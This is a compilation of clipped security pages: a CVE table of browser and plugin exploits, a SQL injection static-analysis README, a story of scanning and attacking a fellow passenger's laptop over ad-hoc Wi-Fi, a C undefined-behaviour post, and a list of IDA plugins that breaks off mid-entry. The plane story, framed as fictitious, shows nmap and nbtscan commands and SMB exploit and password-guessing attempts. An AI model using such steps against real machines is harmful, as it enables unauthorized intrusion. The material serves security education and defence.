CVE-2007-5755 | AOL Radio AmpX Buffer Overflow | Yes |  |  |  |  |  |  |  |  |  |  | Yes |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
CVE-2007-6250 | AOL Radio AmpX \(AOLMediaPlaybackControl\) ActiveX controle vulnerability |  |  |  | Yes |  |  |  |  |  |  |  |  |  |  | Yes |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
CVE-2007-5779 | Buffer overflow in the GomManager \(GomWeb Control\) ActiveX control |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  | Yes |  |  |  |  |  |  |   
cve-2008-0624 | Buffer overflow in the YMP Datagrid ActiveX control \(datagrid.dll\) in Yahoo\! JukeBox 2.2.2.56 |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  | Yes |  |  |  |  |  |  |   
CVE-2008-0015 | MS09-032 DirectX DirectShow \(IE\) |  | Yes | Yes | Yes |  |  |  |  |  |  | Yes |  |  |  | Yes |  | Yes |  |  |  |  |  |  |  |  |  |  |  |  |  |   
CVE-2008-1309 | RealPlayer ActiveX Controle "Console" Property Memory Corruption |  |  |  |  |  |  | Yes |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  | Yes |   
CVE-2008-1472 | Stack-based buffer overflow in the ListCtrl ActiveX Control \(ListCtrl.ocx\) |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  | Yes |  |  |  |  |  |  |   
CVE-2008-2463 | MS08-041 - MS Access Snapshot Viewer | Yes |  |  | Yes | Yes |  | Yes |  |  |  |  |  | Yes | Yes | Yes |  | Yes |  |  |  |  |  |  |  |  |  |  | Yes |  |  | Yes  
CVE-2008-2992 | PDF Exploit - util.printf | Yes | Yes | Yes | Yes | Yes | Yes |  |  |  |  |  | Yes |  | Yes | Yes |  | Yes |  |  |  |  |  | Yes |  | Yes | Yes | Yes |  | Yes |  |   
CVE-2008-3008 | Stack-based buffer overflow in the WMEncProfileManager ActiveX control in wmex.dll in MWME 9 |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  | Yes  
CVE-2008-4844 | Internet Explorer 7 XML Exploit | Yes |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
CVE-2008-5353 | Javad0 - JRE Calendar |  | Yes | Yes |  |  |  |  |  |  |  | Yes |  |  |  |  |  |  |  |  |  |  |  | Yes |  |  |  |  |  | Yes | Yes |   
CVE-2009-0075/0076 | MS09-002 \- IE7 Memory Corruption | Yes |  | Yes | Yes | Yes |  |  |  |  |  | Yes |  |  |  | Yes |  |  | Yes |  |  |  |  |  |  |  |  |  |  |  |  |   
CVE-2009-1538/1539/1537 | QuickTime Movie Parser Filter in quartz.dll in DirectShow in Microsoft DirectX 7.0 |  |  |  |  |  |  |  |  |  |  |  | Yes |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
CVE-2009-0355 | Firefox - Components/sessionstore/src/nsSessionStore.js | Yes |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
CVE-2009-0806 | IEPeers Remote Code Execution | Yes |  |  |  |  |  |  |  |  |  | Yes |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
CVE-2009-0927 | PDF Exploit - collab.geticon | Yes | Yes | Yes | Yes | Yes | Yes |  |  |  |  |  | Yes |  | Yes | Yes |  | Yes |  |  |  |  |  | Yes |  | Yes | Yes |  | Yes | Yes | Yes |   
CVE-2009-1136 | MS09-043 - IE OWC Spreadsheet ActiveX control Memory Corruption | Yes |  |  | Yes |  |  |  |  |  |  | Yes |  |  |  | Yes |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
CVE-2009-1862 | Memory corruption via a crafted Flash application in a .pdf file or a crafted .swf file \(authplay.dll\) |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  | Yes | Yes |  |  |   
CVE-2009-1869 | Integer overflow in the AVM2 abcFile parser in Adobe Flash Player |  | Yes |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  | Yes |  |   
CVE-2009-2477 | Firefox - Font tags |  |  | Yes |  |  |  |  |  |  |  | Yes |  |  |  | Yes |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
CVE-2009-3269 | Telnet for Opera TN3270 | Yes |  |  |  |  |  |  |  |  |  |  | Yes |  |  | Yes |  |  |  |  |  |  |  |  |  |  | Yes |  |  |  | Yes | Yes  
CVE-2009-3867 | Java Runtime Env. getSoundBank Stack BOF | Yes | Yes |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  | Yes | Yes |   
CVE-2009-4324 | PDF Exploit - doc.media.newPlayer |  | Yes | Yes |  |  |  |  |  |  |  | Yes |  |  |  |  |  |  |  |  |  |  |  |  |  | Yes |  |  | Yes | Yes |  |   
CVE-2010-0188 | PDF Exploit - LibTIFF Integer Overflow | Yes | Yes |  |  |  |  |  |  |  |  | Yes |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  | Yes |  |  |  |   
CVE-2010-1885 | HexToNum function in helpctr.exe in Microsoft Windows Help and Support Center in Windows XP & Server 2003 |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  | Yes | Yes |  |   
CVE-2010-0806 | IE7 Uninitialized Memory Corruption | Yes |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  | Yes |  |  |  |   
CVE-2010-0842 | Java Unspecified vulnerability in the Sound component – Java 6 < Update 19 – ALL Windows |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  | Yes |  |  |  |   
CVE-2010-3552 | Unspecified vulnerability in the New Java Plug-in – Java 6 < Update 22 – IE Only – ALL Windows |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  | Yes |  |  |  |   
CVE-2010-0886 | Java SMB / Java JDT in Oracle Java SE and Java for Business JDK and JRE 6 Upd 10-19 \* Requires xtra components |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  | Yes | Yes |  |   
CVE-2010-1297 | Adobe authplay.dll ActionScript AVM2 “newfunction” Vulnerability – Adobe Reader < 9.3.3 – ALL Windows |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  | Yes |  |  |  |   
CVE-2010-2884 | Adobe authplay.dll ActionScript AVM2 memory corruption Vulnerability – Adobe Reader < 9.4.0 – ALL Windows |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  | Yes |  |  |  |   
CVE-????-???? | JavaSignedApplet – Java Signed Applet to download/exec payload – ALL Windows

# neuroo/sql-proc-analysis

**Created:**| _4/7/2012 11:08:23 AM_  
---|---  
**Updated:**| _4/7/2012 11:08:23 AM_  
**Author:**| __  
**Tags:**| _analysis static sql postgres_  
  

# SQL Procedure Static Analysis

Developed by Romain Gaucher, @rgaucher

## Description

This script analyses statically stored procedures, and report a defect when a
potentially unsafe concatenation is detected.

The type of analysis is totally unsound, and no inter-procedural analysis is
performed. Also, the intra-procedural analysis is a shame. However, this
script was handy more than once, to quickly pinpoint interesting locations in
SQL stored procedures.

Example of what the tool is meant to find:

[code]

    EXEC <str> + @PROC_PARAMETER 
    SELECT @sql = 'select * from ' + @PROC_PARAMETER; EXEC @sql;
    
[/code]

where @PROC\_PARAMETER is an argument of the stored procedure.

## Usage

[code]

    $ proc_analyzer.py --sql input-file.sql --output findings.json
    
[/code]

# MSDN - Matthieu Suiche Developer Network

**Created:**| _12/15/2009 4:37:14 PM_  
---|---  
**Updated:**| _12/15/2009 4:37:22 PM_  
**Author:**| __  
**Tags:**| _windows security reversing_  
  

# Public symbols of:

## Windows 7 RTM x86

## Windows 7 RTM x64

## Windows Vista SP2 x86

## Windows Vista SP2 x64

## Windows XP SP3 x86

# PaulDotCom's Web Site: "Just Plane Fun" - A "Bob" Story

**Created:**| _8/5/2009 12:32:56 PM_  
---|---  
**Updated:**| _8/5/2009 12:33:03 PM_  
**Author:**| __  
**Tags:**| _pauldotcom_  
  

### "JUST PLANE FUN" - A "BOB" STORY

We've all seen Simple Nomad's presentation from Shmoocon 2006,
\[http://www.nmrc.org/pub/present/shmoocon-2006-sn.ppt Hacking The Friendly
Skies\]. And we all took notice secured our environments from this threat,
right? WRONG\! While traveling on a short flight recently \(just over an
hour\) Bob wrote in and told us about an experience that he had while doing
some hacking on the plane \("Hackers On The Plane" would be a cool sequal to
the cinematic briliance that is "Snakes On The Plane"\).

It all started when Bob got bored on the plane. Bad things tend to happen when
Bob get bored, so he decided to whip out his MacBook Pro and see what he could
find and hack into in under and hour using the tools already installed on his
laptop. Certainly this will be more interesting that talking to the person
next to him or reading the airlines very own magazine. The first thing that
Bob noticed was an ad-hoc wireless network called "Free Public Wifi"
\(Screenshot\). "There must be something interesting there", thought Bob with
an evil grin on his face. Associating to it yielded him an IP address on the
169.254.0.0/16 subnet, the range that you get when you can't pull a DHCP
address. "Well, if there is another host on this subnet, it may take some time
to scan and find it" Bob thought. But wait, why don't we just fire up a
sniffer and see what I can find. Low and behold a couple if minutes later:

[code]

    4v1lhax0r:~ root# tcpdump -i en1 -nn -X -s0 host 169.254.35.218
    tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
    listening on en1, link-type EN10MB (Ethernet), capture size 65535 bytes
    10:54:21.339837 IP 169.254.80.136.53349 > 169.254.35.218.137: NBT UDP PACKET(137): QUERY; REQUEST; BROADCAST
    
[/code]

Looks like the machine told me where it was all by itself. Sweet\! Lets start
with some light scanning with "nbtscan" to find out more about the NetBIOS
configuration:

[code]

    4v1lhax0r:~ root# nbtscan 169.254.35.218               
    Doing NBT name scan for addresses from 169.254.35.218
    
      
    IP address       NetBIOS Name     Server    User             MAC address        
    ------------------------------------------------------------------------------  
    169.254.35.218   CAMP9317     unknown unknown  00-19-e3-bd-15-fd  
      
      
    
[/code]

\(NOTE: Names and MAC addresses were changed to protect the innocent, or not
so innicent as teh case may be\)

Awesome, now we know its NetBIOS name, although Bob was hoping to get more
information. We can assume that this is most likely a Windows host \(What are
the chances that someone on the plain is on an ad-hoc wireless network with a
Linux laptop running Samba querying the network with SMB packets?\). Now, lets
try our trusty friend "Nmap":

[code]

    Starting Nmap 4.20 ( http://insecure.org ) at 2007-07-28 10:39 EDT
    Interesting ports on 169.254.35.218:
    Not shown: 65530 closed ports
    PORT      STATE SERVICE
    135/tcp   open  msrpc
    139/tcp   open  netbios-ssn
    445/tcp   open  microsoft-ds
    6129/tcp  open  unknown
    32981/tcp open  unknown
    MAC Address: 00:19:D2:AF:04:DC (Unknown)
    No exact OS matches for host (If you know what OS is running on it, see 
    
[/code]

The standard TCP ports open for NetBIOS and CIFS, and some other interesting
ports on 6129 and 32981. Hrm, lets do a services scan just on those two ports
because they look interesting:

[code]

    4v1lhax0r:~ root# nmap -T4 -p6129,32981 -sV 169.254.35.218
    Starting Nmap 4.20 ( http://insecure.org ) at 2007-07-28 10:41 EDT
    Interesting ports on 169.254.35.218:
    PORT      STATE SERVICE    VERSION
    6129/tcp  open  damewaremr DameWare Mini Remote Control
    32981/tcp open  unknown
    MAC Address: 00:19:D2:AF:04:DC (Unknown)
    Service Info: OS: Windows
    
[/code]

Interesting, either someone has already 0wned this machine, or its some weird
service that is throwing a false positive on Nmap's service fingerprinting.
Too bad we didn't have a copy of DameWare installed on our Parallels instance
of Windows. Instead, Bob used the remaining time to throw every available
exploit for Windows SMB at the target in both framework versions 3.0 and 2.7.
In between exploits, attempts were made to connect to smb://169.254.35.218/c$
as administrator using various common passwords and then...."This is your
captain speaking, please return all seat backs to their full and upright
position, and lock all tray tables....." Blah, blah, oh well, more hacking to
be done for the next flight.

## Recommendations

There are many lessons to learn from this fictitious story:

1\) Disable your wireless adapter when you are not using it. Not only does
this improve battery life, it keeps the "Bobs" of the world away when you are
traveling.

2\) Enable the built-in firewall in your operating system. By simply
disallowing all connections initiated from the outside, all of the above
scanning and attacks could have been thwarted immediately.

UPDATE: While this recommendation is good for general wireless network usage,
I am told that ad-hoc networks bypass the local windows firewall. Anyone know
of any good windows client firewalls that will block connections via ad-hoc
networks? Add in here that you should configure you wireless adapter to never
connect to ad-hoc networks, nor create them.

3\) Scan your system regularly. Systems should be scanned at least on a weekly
basis for open ports. This can be easily scripted with Nmap, or even done with
Nessus. If your client or server machines have dropped shields and show they
now have DameWare installed \(and you don't use DameWare\) you want to know
about it for sure\! I Nessus scan my servers weekly and review the reports to
be certain that my firewalls are working and configured properly, that there
are no new vulnerabilities on my servers, and that I don't see any new
listening programs. The same can be done for clients...

4\) Disable the administrative shares. I know, this breaks all kinds of stuff.
At least if you are not going to disable them, put in a local account and
password policy so that the LOCAL administrator account gets locked when you
try different passwords. Also, do your clients really need to be sharing out
files with NetBIOS locally? Make certain you have a good network storage
facility to curb users from having to share files between workstations, and
more importantly share them with the hackers on the plane.

  

# Both true and false: a Zen moment with C | mark shroyer, dot com
**Created:**| _6/28/2013 9:34:37 PM_  
---|---  
**Updated:**| _6/28/2013 9:35:28 PM_  
**Author:**| __  
**Tags:**| _C programming_  
  

# Both true and false: a Zen moment with C****

June 27, 2012 – 7:15 am

_Update:Discussion on Hacker News _

I ran into a really fun bug at work yesterday, where I discovered that my C
program was branching down logically inconsistent code paths**.** After
drinking another cup of coffee and firing up GDB I realized that somehow, a
boolean variable in my code was simultaneously testing as both true and not
true**.**

While I cannot reproduce the actual source code here, the effect was that code
like

|  `bool` `p;` `/* ..**.** */` `if` `( p )` `puts``(``"p is true"``);` `if` `(
**!** p )` `puts``(``"p is false"``);`  
---|---  
would produce the output:

[code]

    p is true
    p is false
    
[/code]

So what’s going on here**?**

Well it turns out that the authors of the C language specification \(and the
people who went on to implement compilers for it\) were serious about the
concept of undefined behavior **.** In particular, the result of attempting to
use an uninitialized variable is undefined**.**

And in this case that’s exactly what happened: I had failed to properly
initialize some memory**.** Easy, bug fixed**.** But what I think is
interesting are the reasons this code failed in precisely the way that it
did**.** In order to investigate that, we need to get specific**.**

On 64-bit Linux \(Ubuntu 12.04\), compiling the following program:

|  `#include <stdio**.** h>` `#include <stdbool**.** h>` `int` `main(``int`
`argc, ``char` `*argv[])` `{` `volatile` `bool` `p;` `if` `( p )` `puts``(``"p
is true"``);` `else` `puts``(``"p is not true"``);` `if` `( **!** p )`
`puts``(``"p is false"``);` `else` `puts``(``"p is not false"``);` `return`
`0;` `}`  
---|---  
with GCC 4**.** 6.3, using the command line:

[code]

    $ gcc bool1**.** c -g0 -O0 -fno-dwarf2-cfi-asm -masm=intel -S -o bool1.asm
    
[/code]

produces this \(truncated\) assembly language:

[code]

            .file   "bool1**.** c"
            .intel_syntax noprefix
            .section        .rodata
    **.** LC0:
            .string "p is true"
    .LC1:
            .string "p is not true"
    .LC2:
            .string "p is false"
    **.** LC3:
            .string "p is not false"
            .text
            .globl  main
            .type   main, @function
    main:
    .LFB0:
            push    rbp
    .LCFI0:
            mov     rbp, rsp
    .LCFI1:
            sub     rsp, 32
    .LCFI2:
            mov     DWORD PTR [rbp-20], edi
            mov     QWORD PTR [rbp-32], rsi
            movzx   eax, BYTE PTR [rbp-1]
            test    al, al
            je      **.** L2
            mov     edi, OFFSET FLAT:**.** LC0
            call    puts
            jmp     .L3
    .L2:
            mov     edi, OFFSET FLAT:.LC1
            call    puts
    **.** L3:
            movzx   eax, BYTE PTR [rbp-1]
            xor     eax, 1
            test    al, al
            je      **.** L4
            mov     edi, OFFSET FLAT:**.** LC2
            call    puts
            jmp     .L5
    .L4:
            mov     edi, OFFSET FLAT:.LC3
            call    puts
    **.** L5:
            mov     eax, 0
            leave
    .LCFI3:
            ret
    
[/code]

To perform the test `if ( p )` here, first the stack variable is loaded into a
32-bit register with `movzx eax, BYTE PTR [rbp-1]`, and then we use the
instruction `test al, al` which sets the zero flag \(ZF\) if the lower eight
bits of this value are zero**.** Next we execute the conditional jump `je
**.** L2`, which jumps to print “p is not true” if ZF was set; otherwise we
don’t jump, and “p is true” gets printed instead**.**

Next let’s examine the second test, `if ( **!** p )`, at label `.L3`. This
starts out the same by loading the boolean variable into register `eax`, but
notice how the negation is handled**.** Rather than reorder the jumps or use
`jne` instead of `je`, the compiler explicitly negates the boolean by
performing a bitwise exclusive-or: `xor eax, 1`**.**

Normally this would be fine — a `bool` variable is only supposed to contain a
value of zero or one, in which case its value can be negated by XOR with
1**.** When you cast to a `bool` at runtime, the compiler generates code to
ensure only one or zero gets stored**.** For instance, the cast in this
program:

|  `#include <stdbool**.** h>` `volatile` `char` `c = 0xff;` `volatile` `bool`
`p;` `int` `main(``int` `argc, ``char``* argv[])` `{` `p = (``bool``)c;`
`return` `0;` `}`  
---|---  
is implemented as the following four instructions:

[code]

            movzx   eax, BYTE PTR c[rip]
            test    al, al
            setne   al
            mov     BYTE PTR p[rip], al
    
[/code]

wherein `setne` sets the register `al` to exactly 1 if the `char` contained
any nonzero value, before saving the register’s 8-bit value to the boolean
variable**.**

But the compiler affords us no such protection if we accidentally use an
uninitialized value as a boolean**.** It doesn’t have to, it’s not the
compiler’s responsibility; the result of using an uninitialized stack variable
is undefined**.** And so if we somehow wind up with a value of e.g. `0x60`
stored at the address of a `bool` variable \(as I saw during my
troubleshooting yesterday\), both the variable and its negation \(via
exclusive or with 1\) will be nonzero, and therefore test as true**.**

Interestingly, enabling optimization \(`-O2`\) in GCC causes the compiler to
factor out the XOR and instead reorder the jumps, meaning this program
actually behaves _more_ robustly under compiler optimization \(for certain
definitions of “robust” anyway\):

[code]

            .file   "bool1**.** c"
            .intel_syntax noprefix
            .section        .rodata.str1**.** 1,"aMS",@progbits,1
    .LC0:
            .string "p is true"
    .LC1:
            .string "p is not true"
    **.** LC2:
            .string "p is false"
    .LC3:
            .string "p is not false"
            .section        .text.startup,"ax",@progbits
            **.** p2align 4,,15
            .globl  main
            .type   main, @function
    main:
    .LFB22:
            sub     rsp, 24
    .LCFI0:
            movzx   eax, BYTE PTR [rsp+15]
            test    al, al
            je      **.** L2
            mov     edi, OFFSET FLAT:.LC0
            call    puts
    .L3:
            movzx   eax, BYTE PTR [rsp+15]
            test    al, al
            je      **.** L7
            mov     edi, OFFSET FLAT:.LC3
            call    puts
    **.** L5:
            xor     eax, eax
            add     rsp, 24
    .LCFI1:
            ret
    
[/code]

And of course when we compare `char`, `int`, or other multiple-bit values for
truthiness, the compiler makes no such assumption that the value can be
logically negated by bitwise XOR; instead it uses `jne` in place of the `je`
instruction**.** \(Maybe someone with more knowledge of the compiler can say
why GCC with `-O0` uses an `xor` at all, when testing the negation of a
`bool`**.**\)

****

# Best IDA Plugins

**Created:**| _7/17/2017 11:23:55 AM_  
---|---  
**Updated:**| _7/17/2017 11:23:55 AM_  
**Author:**| __  
**Tags:**| _iDA_  
  

  

# Best IDA Plugins

CyberPunk » Reverse Engineering

  

<img src='img/idalarge.jpg' width='900' height='527' />

* * *
The Interactive Disassembler, more commonly known as simply IDA, is a
disassembler for computer software which generates assembly language source
code from machine-executable code. It supports a variety of executable formats
for different processors and operating systems. It also can be used as a
debugger for Windows PE, Mac OS X Mach-O, and Linux ELF executables. A
decompiler plug-in for programs compiled with a C/C++ compiler is available at
extra cost. The latest full version of IDA Pro is commercial; while an earlier
and less capable version is available for download free of charge \(version
5.0 as of March 2015\).

IDA performs automatic code analysis, using cross-references between code
sections, knowledge of parameters of API calls, and other information.
However, the nature of disassembly precludes total accuracy, and a great deal
of human intervention is necessarily required; IDA has interactive
functionality to aid in improving the disassembly. A typical IDA user will
begin with an automatically generated disassembly listing and then convert
sections from code to data and vice versa, rename, annotate, and otherwise add
information to the listing, until it becomes clear what it does.

“IDC scripts” make it possible to extend the operation of the disassembler.

  * ### 3DSX Loader
IDA PRO Loader for 3DSX files

  * ### Adobe Flash disassembler
The 2 plugins present in this archive will enable IDA to parse SWF files, load
all SWF tags as segments for fast search and retrieval, parse all tags that
can potentially contain ActionScript2 code, discover all such code\(a
dedicated processor module has been written for it\) and even name the event
functions acording to event handled in it \(eg. OnInitialize\). Download

  * ### Android Debugging
This version have both support for native arm debugging via usb and sdk ADV
manager.

  * ### Android Scripts Collection
Collection of Android reverse engineering scripts that make my life easier

  * ### BinClone
BinClone: detecting code clones in malware \[SERE 2014\]

  * ### BinNavi
BinNavi is a binary analysis IDE – an environment that allows users to
inspect, navigate, edit, and annotate control-flow-graphs of disassembled
code, do the same for the callgraph of the executable, collect and combine
execution traces, and generally keep track of analysis results among a group
of analysts.

  * ### Bin Sourcerer
BinSourcerer \(a.k.a RE-Source Online\) is an assembly to source code matching
framework for binary auditing and malware analysis.

  * ### Bootroom Analysis Library
IBAL is the IDA Pro Bootrom Analysis Library, which contains a number of
useful functions for analyzing embedded ROMs.

  * ### Bosch ME7
Siemens Bosch ME7.x Disassembler Helper for IDA Pro

  * ### collabREate
collabREate is a plugin for IDA Pro that is designed to provide a
collaborative reverse engineering capability for multiple IDA users working on
the same binary file.

  * ### Class Informer
Scans an MSVC 32bit target IDB for vftables with C++ RTTI, and MFC RTCI type
data. Places structure defs, names, labels, and comments to make more sense of
class vftables \(“Virtual Function Table”\) and make them read easier as an
aid to reverse engineering. Creates a list window with found vftables for
browsing.

  * ### Crowd Detox
The CrowdDetox plugin for Hex-Rays automatically removes junk code and
variables from Hex-Rays function decompilations.

  * ### Dalvik Header
This is a simple Dalvik header plugin for IDA Pro

  * ### Data Xref Counter
Enumerates all of the the x-references in a specific segment and counts the
frequency of usage. The plugin displays the data in QtTableWidget and lets the
user filter and sort the references. You can also export the data to a CSV
file.

  * ### Diaphora
Diaphora \(διαφορά, Greek for ‘difference’\) is a program diffing plugin for
IDA Pro, similar to Zynamics Bindiff or the FOSS counterparts DarunGrim,
TurboDiff, etc… It was released during SyScan 2015.

  * ### DOXBox Debugger
Eric Fry’s IDA/DOSBox debugger plugin

  * ### DWARF Plugin
IDADWARF is an IDA plugin that imports DWARF debugging symbols into an IDA
database. Download

  * ### Dynamic IDA Enrichment
DIE is an IDA python plugin designed to enrich IDA\`s static analysis with
dynamic data. This is done using the IDA Debugger API, by placing breakpoints
in key locations and saving the current system context once those breakpoints
are hit.

  * ### EFI Scripts
Some IDA scripts and tools to assist with reverse engineering EFI executables.

  * ### EtherAnnotate
Parses the specialized instruction trace files that are generated using the
EtherAnnotate Xen modification
\(http://github.com/inositle/etherannotate\_xen\). From the instruction trace,
register values and code coverage of the run-time information are visualized
in IDA Pro through instruction comments and line colorations.

  * ### Extract Macho-O
This is a very simple IDA plugin to extract all Mach-O binaries contained
anywhere in the disassembly.

  * ### Flare Plugins
Shellcode Hashes, Struct Typer, StackStrings, MSDN Annotations, ApplyCalleType

  * ### FLS Loader
IDA Pro loader module for IFX iPhone baseband firmwares. Based on a universal
scatter loader script by roxfan.

  * ### Frida
This is plugin for ida pro thar uses the Frida api. Mainly trace functions.

  * ### Funcap
This script records function calls \(and returns\) across an executable using
IDA debugger API, along with all the arguments passed. It dumps the info to a
text file, and also inserts it into IDA’s inline comments. This way, static
analysis that usually follows the behavioral runtime analysis when analyzing
malware, can be directly fed with runtime info such as decrypted strings
returned in function’s arguments.

  * ### Function Tagger
This IDAPython script tags subroutines according to their use of imported
functions

  * ### Gamecube Extension
This is a Gekko CPU Paired Single extension instructions plug-in for IDA Pro
5.2

  * ### Gamecube DSP
This project adds support for the DSP present in the Gamecube and the Wii to
IDA, the Interactive Disassembler \[1\]. This allows easy analyze of a DSP
ucode, handling cross-references, control flow, and so on.

  * ### Graph Slick
Automated detection of inlined functions. It highlights similar groups of
nodes and allows you to group them, simplifying complex functions. The authors
provide an accompanying presentation which explains the algorithms behind the
plugin and shows sample use cases.

  * ### HexRays CodeXplorer
The Hex-Rays Decompiler plugin for better code navigation in RE process.
CodeXplorer automates code REconstruction of C++ applications or modern
malware like Stuxnet, Flame, Equation, Animal Farm …

  * ### HexRays Tools
    * Assist in creation of new structure definitions / virtual calls detection
    * Jump directly to virtual function or structure member definition
    * Gives list of structures with given size, with given offset
    * Finds structures with same “shape” as is used.
    * convert function to \_\_usercall or \_\_userpurge
    * and more….
  * ### IDA2SQL
As the name implies this plugin can be used to export information from IDA
databases to SQL databases. This allows for further analysis of the collected
data: statstical analysis, building graphs, finding similarities between
programs, etc.

  * ### IDA C\#
Scripting IDA with C\#

  * ### IDA Compare
IDA disassembly level diffing tool, find patches and modifications between
malware variants. See mydoom A/B sample database and video trainer for usage.

  * ### IDA Eye
Plugin that enables you to perform different operations at the mnemonic level,
independent of any particular processor type. These operations are facilitated
through a parameterized template, which include the capabilities to
de/highlight instructions, gather statistical information about the frequency
of each instruction, and search for sequences of mnemonics, among other
features.

  * ### IDA Extrapass
An IDA Pro Win32 target clean up plug-in by Sirmabus. It does essentially four
cleaning/fixing steps: Convert stray code section values to “unknown”, fix
missing “align” blocks, fix missing code bytes, and locate and fix
missing/undefined functions.

  * ### IDA Patchwork
Stitching against malware families with IDA Pro \(tool for the talk at
Spring9,https://spring2014.gdata.de/spring2014/programm.html\). In essence, I
use a somewhat fixed / refurbished version of PyEmu along IDA to demonstrate
deobfuscation of the different patterns found in the malware family Nymaim.

  * ### IDA Rest
A simple REST-like API for basic interoperability with IDA Pro.

  * ### IDA Scope
IDAscope is an IDA Pro extension with the goal to ease the task of \(malware\)
reverse engineering with a current focus on x86 Windows. It consists of
multiple tabs, containing functionality to achieve different goals such as
fast identification of semantically interesting locations in the analysis
target, seamless access to MSDN documentation of Windows API, and finding of
potential crypto/compression algorithms.

  * ### IDA Signature Matching Tool
Tool for searching signatures inside files, extremely useful as help in
reversing jobs like figuring or having an initial idea of what
encryption/compression algorithm is used for a proprietary protocol or file.
It can recognize tons of compression, multimedia and encryption algorithms and
many other things like known strings and anti-debugging code which can be also
manually added since it’s all based on a text signature file read at run-time
and easy to modify.

  * ### IDA Sploiter
IDA Sploiter is a plugin for Hex-Ray’s IDA Pro disassembler designed to
enhance IDA’s capabilities as an exploit development and vulnerability
research tool. Some of the plugin’s features include a powerful ROP gadgets
search engine, semantic gadget analysis and filtering, interactive ROP chain
builder, stack pivot analysis, writable function pointer search, cyclic memory
pattern generation and offset analysis, detection of bad characters and memory
holes, and many others.

  * ### IDA Stealth
IDAStealth is a plugin which aims to hide the IDA debugger from most common
anti-debugging techniques. The plugin is composed of two files, the plugin
itself and a dll which is injected into the debuggee as soon as the debugger
attaches to the process. The injected dll actually implements most of the
stealth techniques either by hooking system calls or by patching some flags in
the remote process.

  * ### IDA Toolbag
The IDA Toolbag plugin provides many handy features, such as:

    * A ‘History’ view, that displays functions in the disassembly that you have decided are important, and the relationships between them.
    * A code path-searching tool, that lets you find what functions \(or blocks\) are forming a path between two locations.
    * Manage and run your IDC/Python scripts
    * Something that’s also of considerable importance is that the IDA Toolbag lets you collaborate with other IDA users: one can publish his ‘History’, or import another user’s history & even merge them\!
    * See the official documentation for an extensive feature list.
  * ### IDA Xtensa
This is a processor plugin for IDA, to support the Xtensa core found in
Espressif ESP8266. It does not support other configurations of the Xtensa
architecture, but that is probably \(hopefully\) easy to implement.

  * ### idb2pat
IDB to Pat.

  * ### MSDN Helper
This tool will help you to get to Offline MSDN help while using IDA Pro.

  * ### MyNav
MyNav is a plugin for IDA Pro to help reverse engineers in the most typical
task like discovering what functions are responsible of some specifical tasks,
finding paths between “interesting” functions and data entry points.

  * ### NES Loader
Nintendo Entertainment System \(NES\) ROM loader module for IDA Pro.

  * ### Optimice
This plugin enables you to remove some common obfuscations and rewrite code to
a new segment. Currently supported optimizations are: Dead code removal, JMP
merging, JCC opaque predicate removal, Pattern based deobfuscations

  * ### Patcher
IDA Patcher is a plugin for Hex-Ray’s IDA Pro disassembler designed to enhance
IDA’s ability to patch binary files and memory.

  * ### Plus22
Plus22 transforms x86\_64 executables to be processed with 32-bit version of
Hex-Rays Decompiler.

  * ### Plympton
A gem to read program disassembly from a YAML dump. The YAML dump is generated
from an IDA Pro python script. This script is included along with this Gem
\(func.py\)

  * ### Pomidor
IDA Pomidor is a plugin for Hex-Ray’s IDA Pro disassembler that will help you
retain concentration and productivity during long reversing sessions.

  * ### Qualcomm Loader
IDA loader plugin for Qualcomm Bootloader Stages

  * ### qb-sync
qb-sync is an open source tool to add some helpful glue between IDA Pro and
Windbg. Its core feature is to dynamically synchronize IDA’s graph windows
with Windbg’s position.

  * ### Recompiler
IDA recompiler

  * ### REProgram
A way of making almost-arbitrary changes to an executable when run under a
debugger — even changes that don’t fit.

  * ### REtypedef
REtypedef is an IDA PRO plugin that allows defining custom substitutions for
function names. It comes with a default ruleset providing substitutions for
many common STL types.

  * ### Samsung S4 Rom Loader
IDA Pro Loader Plugin for Samsung Galaxy S4 ROMs

  * ### Sark
Sark, \(named after the notorious Tron villain,\) is an object-oriented
scripting layer written on top of IDAPython. Sark is easy to use and provides
tools for writing advanced scripts and plugins.

  * ### Sega Genesis/Megadrive Tools
Special IDA Pro tools for the Sega Genesis/Megadrive romhackers. Tested work
on v5.2, v6.6. Should work on other versions.

  * ### Sig Maker
Can create sigs automatically and has a wide variety of functions \(might be
unstable on IDA 6.2\).

  * ### Snippt Detector
Snippet Detector is an IDA Python scripts project used to detect snippets from
32bit disassembled files. snippet is the word used to identify a generic
sequence of instructions \(at the moment a snippet is indeed a defined
function\). The aim of the tool is to collect many disassembled snippets
